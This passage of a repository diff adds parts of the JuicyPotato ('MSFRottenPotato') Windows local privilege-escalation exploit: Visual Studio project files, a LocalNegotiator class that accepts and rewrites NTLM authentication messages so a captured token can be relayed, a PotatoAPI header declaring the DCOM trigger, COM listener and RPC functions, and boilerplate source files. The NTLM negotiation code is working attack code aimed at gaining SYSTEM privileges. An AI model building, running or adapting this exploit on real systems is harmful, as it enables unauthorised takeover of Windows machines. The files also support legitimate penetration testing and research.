<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
<BuildLog>
<Path>$(SolutionDir)$(Configuration)\$(Platform)\$(MSBuildProjectName).log</Path>
</BuildLog>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="BlockingQueue.h" />
<ClInclude Include="IStorageTrigger.h" />
<ClInclude Include="LocalNegotiator.h" />
<ClInclude Include="MSFRottenPotato.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="IStorageTrigger.cpp" />
<ClCompile Include="LocalNegotiator.cpp" />
<ClCompile Include="JuicyPotato.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,57 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MSFRottenPotato.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="IStorageTrigger.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="BlockingQueue.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="LocalNegotiator.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="IStorageTrigger.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LocalNegotiator.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="JuicyPotato.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,115 @@
#include "stdafx.h"
#include "LocalNegotiator.h"
#include <iostream>
LocalNegotiator::LocalNegotiator()
{
authResult = -1;
}
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
pSecBuffer->BufferType = SECBUFFER_TOKEN;
pSecBuffer->cbBuffer = 0;
pSecBuffer->pvBuffer = nullptr;
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
pSecBufferDesc->cBuffers = 1;
pSecBufferDesc->pBuffers = pSecBuffer;
}
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
{
TCHAR lpPackageName[1024] = L"Negotiate";
TimeStamp ptsExpiry;
int status = AcquireCredentialsHandle(
NULL,
lpPackageName,
SECPKG_CRED_INBOUND,
NULL,
NULL,
0,
NULL,
&hCred,
&ptsExpiry);
if (status != SEC_E_OK)
{
printf("Error in AquireCredentialsHandle");
return -1;
}
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
phContext = new CtxtHandle();
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
status = AcceptSecurityContext(
&hCred,
nullptr,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
return status;
}
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
{
char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
if (len >= secServerBuffer.cbBuffer) {
for (int i = 0; i < len; i++)
{
if (i < secServerBuffer.cbBuffer) {
ntlmBytes[i] = newNtlmBytes[i];
}
else {
ntlmBytes[i] = 0x00;
}
}
}
else {
printf("Buffer sizes incompatible - can't replace");
}
return 0;
}
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
{
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
int status = AcceptSecurityContext(
&hCred,
phContext,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
authResult = status;
return status;
}

View File

@ -0,0 +1,21 @@
#define SECURITY_WIN32
#pragma once
#include <security.h>
#include <schannel.h>
class LocalNegotiator
{
public:
LocalNegotiator();
int handleType1(char* ntlmBytes, int len);
int handleType2(char* ntlmBytes, int len);
int handleType3(char* ntlmBytes, int len);
PCtxtHandle phContext;
int authResult;
private:
CredHandle hCred;
SecBufferDesc secClientBufferDesc, secServerBufferDesc;
SecBuffer secClientBuffer, secServerBuffer;
};

View File

@ -0,0 +1,30 @@
#include "Objidl.h"
#include "BlockingQueue.h"
#include "LocalNegotiator.h"
#include <winsock2.h>
class PotatoAPI {
private:
BlockingQueue<char*>* comSendQ;
BlockingQueue<char*>* rpcSendQ;
static DWORD WINAPI staticStartRPCConnection(void * Param);
static DWORD WINAPI staticStartCOMListener(void * Param);
static int newConnection;
int processNtlmBytes(char* bytes, int len);
int findNTLMBytes(char * bytes, int len);
public:
PotatoAPI(void);
int startRPCConnection(void);
DWORD startRPCConnectionThread();
DWORD startCOMListenerThread();
int startCOMListener(void);
int triggerDCOM();
LocalNegotiator *negotiator;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
SOCKET ConnectSocket = INVALID_SOCKET;
};
__declspec(dllexport) void EntryPoint(void);
__declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute);

View File

@ -0,0 +1,19 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Binary file not shown.

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// MSFRottenPotato.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,16 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>